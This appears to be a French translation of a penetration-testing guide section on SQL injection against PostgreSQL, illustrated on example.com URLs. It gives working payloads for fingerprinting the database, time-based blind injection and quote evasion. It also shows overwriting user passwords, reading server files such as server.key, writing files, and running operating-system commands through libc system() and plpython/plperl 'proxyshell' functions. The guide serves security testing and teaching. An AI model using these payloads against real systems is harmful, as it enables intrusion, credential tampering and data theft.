Table of Contents

testing_guide

Résumé

Dans cette section, certaines techniques d'injection SQL pour PostgreSQL seront abordées. Gardez à l'esprit les caractéristiques suivantes:

Pour l'exemple nous supposerons que http://www.example.com/news.php?id=1 est vulnérable aux attaques par injection SQL.

Description

Identifier PostgreSQL

Quand une injection SQL a été trouvée, vous devez soigneusement identifier le moteur de base de données. Vous pouvez déterminer qu'il s'agit d'un moteur de base de données PostgreSQL backend en utilisant l'opérateur ::cast.

Exemple:

http://www.example.com/store.php?id=1 AND 1::int=1

En outre, la fonction version() peut être utilisée pour récupérer la bannière PostgreSQL. Cela permettra également de découvrir le type et la version du système d'exploitation sous-jacent.

Exemple:

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--

Exemple de bannière qui pourraient être renvoyée est:

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Injection aveugle

Pour mener des attaques par injection SQL aveugles, vous devriez prendre en considération des fonctions intégrées qui suivent:

À partir de la version 8.2, PostgreSQL introduit une fonction intégrée, pgsleep(n), pour mettre en pause processus de la session courante pendant n secondes. Cette fonction peut être exploitée pour exécuter des attaques sur la base du temps (étudié en détail lors des Injections SQL aveugles). En outre, vous pouvez facilement créer un pgsleep(n) personnalisée dans les versions précédentes en utilisant la libc:

CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT 

Échappement des simples quotes

Une chaîne peut être codée afin d'éviter l'échappement des quotes, en utilisant la fonction chr().

Disons que vous voulez encoder la chaîne 'root':

 select ascii('r')
 114
 select ascii('o')
 111
 select ascii('t')
 116

Nous pouvons coder «root» comme suit:

chr(114)||chr(111)||chr(111)||chr(116)

Exemple:

 http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Vecteurs d'attaque

Current User

L'identité de l'utilisateur actuel peut être récupérée avec la commande suivante SQL SELECT:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

Exemple:

http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Databasee

La fonction intégrée current_database() retourne le nom de la base de données actuelle.

Exemple:

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Lecture d'un fichier

PostgreSQL fournit deux manières d'accéder à un fichier local:

L'instruction COPY:

Cet opérateur copie les données entre un fichier et une table. Le moteur de PostgreSQL accède au système de fichiers local en tant qu'utilisateur postgres.

Exemple:

/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Les données suivantes peuvent être récupérées en effectuant une Injection SQL de la requête UNION:

Exemple:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():

Cette fonction a été introduite dans PostgreSQL 8.1 et permet de lire des fichiers arbitraires situés à l'intérieur du répertoire de données SGBD.

Exemple:

SELECT pg_read_file('server.key',0,1000);

Écriture dans un fichier

En retournant la commande COPY, on peut écrire le système de fichiers local avec des droits d'utilisateur postgres

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Injection Shell

PostgreSQL fournit un mécanisme pour ajouter des fonctions personnalisées à l'aide de deux bibliothèques dynamiques et de langages de script comme Python, Perl et Tcl.

Bibliothèques dynamique

Jusqu'à PostgreSQL 8.1, il était possible d'ajouter une fonction personnalisée liée à la libc:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT 

Puisque le système retourne un entier comment pouvons nous aller chercher les sorties stdout système?

Voici une petite astuce:

CREATE TABLE stdout(id serial, system_out text) 
SELECT system('uname -a > /tmp/test') 
COPY stdout(system_out) FROM '/tmp/test' 
SELECT system_out FROM stdout 

Exemple:

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'

STRICT –

/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

plpython

PL / Python permet aux utilisateurs de coder des fonctions PostgreSQL en python. Ce qui n'est pas conseillé car i l n'est pas possible de limiter ce que l'utilisateur peut faire. Ce n'est donc pas installé par défaut et peut être activée sur une base de données par createlang

SELECT count(*) FROM pg_language WHERE lanname='plpythonu' 
CREATE LANGUAGE plpythonu 
CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu 
SELECT proxyshell(os command); 

Exemple:

/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- 
/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

plperl

plperl nous permet de coder des fonctions PostgreSQL en Perl. Normalement, il est installé en tant que langage de confiance afin de désactiver l'exécution des opérations d'exécution qui interagissent avec le système d'exploitation sous-jacent, telles que open. Ce faisant, il est impossible d'obtenir un accès au niveau système d'exploitation. Pour réussir à injecter un ProxyShell en tant que fonction, il faut installer la version non sécurisée de plperl=plperlu, pour éviter le masque de l'application que l'on appelle filtrage des opérations fiables / non fiables.

SELECT count(*) FROM pg_language WHERE lanname='plperlu' 
CREATE LANGUAGE plperlu 
CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu 
SELECT proxyshell(os command); 

Exemple:

/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu; 
/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

Références